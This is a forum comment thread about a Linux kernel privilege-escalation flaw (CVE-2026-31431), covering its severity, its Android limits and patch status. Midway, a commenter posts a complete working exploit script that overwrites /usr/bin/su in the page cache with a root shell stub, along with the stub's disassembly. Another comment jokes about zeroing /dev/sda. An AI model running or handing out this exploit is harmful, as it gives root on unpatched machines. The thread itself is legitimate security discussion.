You must log in or # to comment.
The Python script to check if you are vulnerable is extremely suspicious and hard to decipher.
I agree. This seems fishy to me. I am concerned about compressed code in a public disclosure like this. Also it seems like all the documentation was written by AI.
The entire page is an advertisement for an AI tool that helped uncover it. Guess that’s the demonstration on how it augments a report.
Here it is after improving readability a little
deleted by creator
It’s a bit strange that this code requires a binary blob to verify, I think people who want to experiment with this should take some caution as it could be an exploit-in-an-exploit (user is highlighting a real exploit, but also trying to take advantage of people testing by effectively installing a back-door.) I won’t say that’s happening for sure, but take running this yourself with extreme caution.
BLOB already includes “binary”. That’s what the first B is for.
Sorry, couldn’t stop myself.
No one means BLOB when they say blob, it’s a backronym mostly for fun
Apparently that’s only for blob storage (now "object storage), not https://en.wikipedia.org/wiki/Binary_blob
I had always heard “binary blob” said when it came to opaque code, but I see that blob is what is used to describe unexplained binary data as a whole in database lingo, so I’m willing to say your usage of it is probably more correct than mine here, assuming the binary data isn’t an actual program (afaik there’s no elf-file like characteristics but who knows.). 😇
The compressed binary blob is just a 160 B ELF when uncompressed. I don’t think you can do much with that.
You could probably write all zeros to a file. Say, /dev/sda?
???
profit
I bet you could gain root on many old kernels
You can find a cleaned up version here
Script:
#!/usr/bin/env python3 import os, socket f = os.open("/usr/bin/su", 0) e = b'\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00>\x00\x01\x00\x00\x00x\x00@\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x008\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x9e\x00\x00\x00\x00\x00\x00\x00\x9e\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x001\xc01\xff\xb0i\x0f\x05H\x8d=\x0f\x00\x00\x001\xf6j;X\x99\x0f\x051\xffj<X\x0f\x05/bin/sh\x00\x00\x00' for i in range(0, len(e), 4): s = socket.socket(38, 5, 0) s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) s.setsockopt(279, 1, bytes.fromhex('0800010000000010' + '0' * 64)) s.setsockopt(279, 5, None, 4) u, _ = s.accept() u.sendmsg([b"AAAA" + e[i:i + 4]], [(279, 3, b'\x00\x00\x00\x00'), (279, 2, b'\x10' + b'\x00' * 19), (279, 4, b'\x08\x00\x00\x00'), ], 32768) r, w = os.pipe() os.splice(f, w, i + 4, offset_src=0) os.splice(r, u.fileno(), i + 4) try: u.recv(8 + i) except: pass os.system("su")Blob:
0x00400078 eax = 0 0x0040007a edi = 0 0x0040007c al = 0x69 ; 'i' ; 105 0x0040007e syscall ; sys_setuid(0) 0x00400080 rdi = rip + 0xf ; data.00400096 ; 0x400096 ; "/bin/sh" 0x00400087 esi = 0 0x00400089 push 0x3b ; ';' ; 59 0x0040008b pop rax 0x0040008c cdq 0x0040008d syscall ; sys_execve("/bin/sh", NULL, NULL) 0x0040008f edi = 0 0x00400091 push 0x3c ; '<' ; 60 0x00400093 pop rax 0x00400094 syscall ; sys_exit(0)The blob is obviously a stub-
suthat/usr/bin/supage cache is poisoned with.wtf
An unprivileged local user can write 4 controlled bytes into the page cache of any readable file on a Linux system, and use that to gain root.
If your kernel was built between 2017 and the patch — which covers essentially every mainstream Linux distribution — you’re in scope.
how does that only get a CVE score of 7.8, the impact of this is huge
Probably because the attack vector is having a user account on the target
Exactly. It’s Yet Another Privilege Escalation Vulnerability. Unless you’re dealing with a multiuser machine, the attacker first needs to use some other vuln to get into an unprivileged account. Without that additional vulnerability, this exploit is useless.
some other vuln
You mean like inveigling it into a pypi or npm or whatever package? Checks out.
That’s privilege escalation for you. 7.8 is pretty high.
Yet another? Are there really so many LPEVs in linux?
I manage multi user systems and try to be on top of this and no, privilege escalation with a working public exploit are very rare. There’s quite a lot of CVEs with potential privilege excalation, but most of the time there is no real world exploit. And a large part of those are related to user namespaces in one way or another.
This one is truly scary, at least the immediate mitigation is pretty straightforward.
Well, it often feels like every “Linux security issue” flagged in the tech press is a privilege escalation, but I admit that I haven’t sat down and done the math.
“The exploit is coming from inside the house!”
hey these exploits keep the lights on for some tech youtubers, stop making fun of it!! it is very dangerous!!!
(video titled: LINUX HAS BEEN HACKED, AGAIN?!)
It’s not an interaction-less RCE, for one.
Hm, I could use that on a few Android devices…
there is no su binary in most android devices sadly
Does it have to actually be su? Couldn’t this replace any other existing privileged program with the fake su in theory?
In order to use this exploit you need a program that has UID bit set and the file owned by the user you want to use itheir privilages.
For example su (among other commands) has that UID bit set and because the owner of the file is root then when you execute it, it always runs with root privileges
Most Android devices use SELinux (Security Enhanced Linux) which is configured in such way that you couldn’t have root access even if you could run a program owned by root and has the UID bit set.
What you could do - in theory - is finding a process already running with root privileges and happened to be executing certain command periodically. you could then override that certain program in cache using this exploit to do what you want.
SElinux blocks this for aosp and its forks.
Worth mentioning that the fix was merged into 6.19.12 (and 7.0; probably also the LTSs, but I didn’t bother to check those).
The other LTS kernels didn’t get it until yesterday, and this thread has some good info about why: https://infosec.exchange/@wdormann/116489443704631952
Debian trixie has a fix https://security-tracker.debian.org/tracker/CVE-2026-31431
